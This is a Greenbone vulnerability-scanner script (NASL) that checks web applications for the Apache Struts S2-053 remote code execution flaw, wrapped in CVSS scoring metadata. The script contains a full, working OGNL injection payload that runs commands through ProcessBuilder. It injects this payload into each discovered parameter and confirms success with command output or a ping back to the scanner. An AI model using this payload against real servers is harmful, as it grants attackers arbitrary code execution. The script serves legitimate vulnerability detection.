CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.9%
Apache Struts is prone to a remote code execution
(RCE) vulnerability.
# Copyright (C) 2017 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108243");
script_version("2023-02-16T10:19:47+0000");
script_cve_id("CVE-2017-12611");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"last_modification", value:"2023-02-16 10:19:47 +0000 (Thu, 16 Feb 2023)");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2019-08-12 21:15:00 +0000 (Mon, 12 Aug 2019)");
script_tag(name:"creation_date", value:"2017-09-11 12:00:00 +0200 (Mon, 11 Sep 2017)");
script_name("Apache Struts Security Update (S2-053) - Active Check");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("Copyright (C) 2017 Greenbone Networks GmbH");
script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl", "global_settings.nasl");
script_require_ports("Services/www", 8080);
script_exclude_keys("Settings/disable_cgi_scanning", "global_settings/disable_generic_webapp_scanning");
script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-053");
script_xref(name:"Advisory-ID", value:"S2-053");
script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-058");
script_xref(name:"Advisory-ID", value:"S2-058");
script_tag(name:"summary", value:"Apache Struts is prone to a remote code execution
(RCE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the
response.
NOTE: This script needs to check every parameter of a web application with various
crafted requests. This is a time-consuming process and this script won't run by default.
If you want to check for this vulnerability please enable 'Enable generic web
application scanning' within the script preferences of the VT 'Global variable settings
(OID: 1.3.6.1.4.1.25623.1.0.12288)'.");
script_tag(name:"impact", value:"Successfully exploiting this issue may allow an
attacker to execute arbitrary code in the context of the affected application.");
script_tag(name:"affected", value:"Apache Struts 2.0.0 through 2.3.33 and 2.5 through
2.5.10.1.");
script_tag(name:"solution", value:"Update to version 2.3.34, 2.5.12 or later.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
# nb: We also don't want to run if optimize_test is set to "no"
if( get_kb_item( "global_settings/disable_generic_webapp_scanning" ) )
exit( 0 );
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("misc_func.inc");
include("host_details.inc");
include("os_func.inc");
include("url_func.inc");
ownip = this_host();
targetip = get_host_ip();
# nb: No need to run against a GOS / GSM as we know that the system isn't using Struts at all and
# thus waste scanning time on self scans.
if( executed_on_gos() ) {
if( ownip == targetip || islocalhost() ) {
exit( 99 ); # EXIT_NOTVULN
}
}
port = http_get_port( default:8080 );
host = http_host_name( dont_add_port:TRUE );
cgis = http_get_kb_cgis( port:port, host:host );
if( ! cgis )
exit( 0 );
foreach cgi( cgis ) {
cgiArray = split( cgi, sep:" ", keep:FALSE );
cmds = exploit_commands();
foreach cmd( keys( cmds ) ) {
c = "{'" + cmds[ cmd ] + "'}";
ex = "%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):" +
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com." +
"opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses()." +
"clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder(" + c + "))." +
"(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}";
urls = http_create_exploit_req( cgiArray:cgiArray, ex:urlencode( str:ex ) );
foreach url( urls ) {
req = http_get_req( port:port, url:url );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
if( egrep( pattern:cmd, string:buf ) ) {
report = 'It was possible to execute the command `' + cmds[ cmd ] + '` on the remote host.\n\nRequest:\n\n' + req + '\n\nResponse:\n\n' + buf;
security_message( port:port, data:report );
exit( 0 );
}
}
}
}
soc = open_sock_tcp( port );
if( ! soc )
exit( 0 );
foreach cgi( cgis ) {
if( os_host_runs( "Windows" ) == "yes" ) {
cleancmd = "ping -n 3 " + this_host();
pingcmd = '"ping","-n","3","' + this_host() + '"';
win = TRUE;
} else {
vtstrings = get_vt_strings();
check = vtstrings["ping_string"];
pattern = hexstr( check );
cleancmd = "ping -c 3 -p " + pattern + " " + this_host();
pingcmd = '"ping","-c","3","-p","' + pattern + '","' + this_host() + '"';
}
c = "{" + pingcmd + "}";
ex = "%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):" +
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com." +
"opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses()." +
"clear()).(#context.setMemberAccess(#dm)))).(#p=new java.lang.ProcessBuilder(" + c + "))." +
"(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}";
cgiArray = split( cgi, sep:" ", keep:FALSE );
urls = http_create_exploit_req( cgiArray:cgiArray, ex:urlencode( str:ex ) );
foreach url( urls ) {
req = http_get_req( port:port, url:url );
res = send_capture( socket:soc, data:req, timeout:5, pcap_filter:string( "icmp and icmp[0] = 8 and dst host ", this_host(), " and src host ", get_host_ip() ) );
if( ! res )
continue;
data = get_icmp_element( icmp:res, element:"data" );
if( data && ( win || check >< data ) ) {
close( soc );
report = 'It was possible to execute the command `' + cleancmd + '` on the remote host.\n\nRequest:\n\n' + req + '\n\nResponse:\n\n' + data;
security_message( port:port, data:report );
exit( 0 );
}
}
}
close( soc );
exit( 0 );
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
99.9%